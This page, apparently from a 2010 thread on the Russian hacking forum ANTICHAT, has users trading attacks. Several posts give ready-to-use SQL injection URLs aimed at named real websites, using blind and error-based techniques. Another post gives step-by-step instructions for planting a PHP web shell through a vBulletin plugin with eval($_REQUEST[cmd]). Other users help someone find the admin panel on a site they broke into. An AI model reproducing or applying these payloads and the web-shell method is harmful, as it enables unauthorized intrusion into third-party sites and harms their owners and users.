HOME    FORUMS    MEMBERS    RECENT POSTS    LOG IN  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #15121  
Старый 22.09.2010, 16:35
R1dex
Участник форума
Регистрация: 17.09.2008
Сообщений: 211
Провел на форуме:
1571865

Репутация: 571
Отправить сообщение для R1dex с помощью ICQ
По умолчанию

http://www.libyaonline.com/business/pages.php?cid=298+and+ascii(substring((select+1+fr om+users+limit+0,1),1,1))>1--

или

http://www.libyaonline.com/business/pages.php

?cid=(1)and(select 1 from(select count(*),concat(version(),floor(rand(0)*2))x from users group by x)a)--
 
Ответить с цитированием

  #15122  
Старый 23.09.2010, 02:41
AloneKiller
Guest
Сообщений: n/a
Провел на форуме:
0

Репутация: 0
По умолчанию

Здравствуйте, не подскажите как залить шел из админки воблы 3.8.5 ?
 
Ответить с цитированием

  #15123  
Старый 23.09.2010, 06:24
Gedj
Познающий
Регистрация: 15.09.2008
Сообщений: 54
Провел на форуме:
612815

Репутация: 46
По умолчанию

Цитата:
Сообщение от AloneKiller  
AloneKiller said:
Здравствуйте, не подскажите как залить шел из админки воблы 3.8.5 ?
Через модули тем куча читай
 
Ответить с цитированием

  #15124  
Старый 23.09.2010, 10:09
gabarea
Новичок
Регистрация: 30.03.2010
Сообщений: 2
Провел на форуме:
21162

Репутация: 0
По умолчанию

http://www.realitytvworld.com/index/articles/summary.php?i=133

shell_c0de:Еще раз такой пост увижу в БАН!

вам влом описать суть вопроса или тут должны догодатся и раскручивать вам ?
 
Ответить с цитированием

  #15125  
Старый 23.09.2010, 10:54
R1dex
Участник форума
Регистрация: 17.09.2008
Сообщений: 211
Провел на форуме:
1571865

Репутация: 571
Отправить сообщение для R1dex с помощью ICQ
По умолчанию

http://www.realitytvworld.com/index/articles/summary.php?i=133 or(1,2)=(select*from(select name_const((select+version()),1),name_const((selec t+version()),1))a)
 
Ответить с цитированием

  #15126  
Старый 23.09.2010, 13:53
jecka3000
Постоянный
Регистрация: 15.03.2008
Сообщений: 441
Провел на форуме:
2052341

Репутация: 95
По умолчанию

помогите найти админку. Нашел /controlpanel/ & /login.php

Залогинился в логин.пхп как админ, а вот саму админку найти не могу=(
 
Ответить с цитированием

  #15127  
Старый 23.09.2010, 14:50
mr.celt
Участник форума
Регистрация: 06.02.2008
Сообщений: 110
Провел на форуме:
217423

Репутация: 32
По умолчанию

Цитата:
Сообщение от jecka3000  
jecka3000 said:
помогите найти админку. Нашел /controlpanel/ & /login.php
Залогинился в логин.пхп как админ, а вот саму админку найти не могу=(
Ссылку не выложишь? Как это: авторизацию прошел и никуда не редиректили?
 
Ответить с цитированием

  #15128  
Старый 23.09.2010, 15:28
kfor
Участник форума
Регистрация: 01.09.2005
Сообщений: 194
Провел на форуме:
818095

Репутация: 34
Отправить сообщение для kfor с помощью ICQ
По умолчанию

Цитата:
Сообщение от jecka3000  
jecka3000 said:
помогите найти админку. Нашел /controlpanel/ & /login.php
Залогинился в логин.пхп как админ, а вот саму админку найти не могу=(
Извини не выдержал.... У тебя перед глазами сайт и ты не нашёл где админка, а хочешь что бы мы могли угадать по двум словам? =)

Лан чтоб уж не пустозвонить ... ты из какого браузера заходишь? Иногда, бывает, что только в осле нормально работают некоторые админки. Так же может у тебя появились полномочия править статьи.. новости... походи по сайту и посмотри....
 
Ответить с цитированием

  #15129  
Старый 23.09.2010, 19:02
tracy
Познающий
Регистрация: 24.03.2009
Сообщений: 54
Провел на форуме:
333485

Репутация: 13
По умолчанию

Цитата:
Сообщение от AloneKiller  
AloneKiller said:
Здравствуйте, не подскажите как залить шел из админки воблы 3.8.5 ?
В админке: Plugins & Products -> Plugin Manager -> [Add New Plugin]

вписываем eval($_REQUEST[cmd]); в любой темплейт, например в faq_complete, Plugin is Active выставляем "Yes" и сохраняем

шелл будет тут:

http://localhost/forum/faq.php?cmd=phpinfo();
 
Ответить с цитированием

  #15130  
Старый 23.09.2010, 19:26
Gorev
Познавший АНТИЧАТ
Регистрация: 31.03.2006
Сообщений: 1,167
Провел на форуме:
4072944

Репутация: 1550


Отправить сообщение для Gorev с помощью ICQ Отправить сообщение для Gorev с помощью Yahoo
По умолчанию

Цитата:
Сообщение от tracy  
tracy said:
В админке:
Plugins & Products -> Plugin Manager -> [Add New Plugin]
вписываем
eval($_REQUEST[cmd]);
в любой темплейт, например в faq_complete, Plugin is Active выставляем "Yes" и сохраняем
шелл будет тут:
http://localhost/forum/faq.php?cmd=phpinfo();
К чему весь этот цирк? потом все новичку привыкают при первом же вопросе постить в эту ветку, которая повторяет по тысячному разу одни и те же вопросы...посылать надо в поиск ...или если и хочется поможь то непосредственно линк на ветку, сейчас начнутся вопросы что такое евал итд и тп...
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ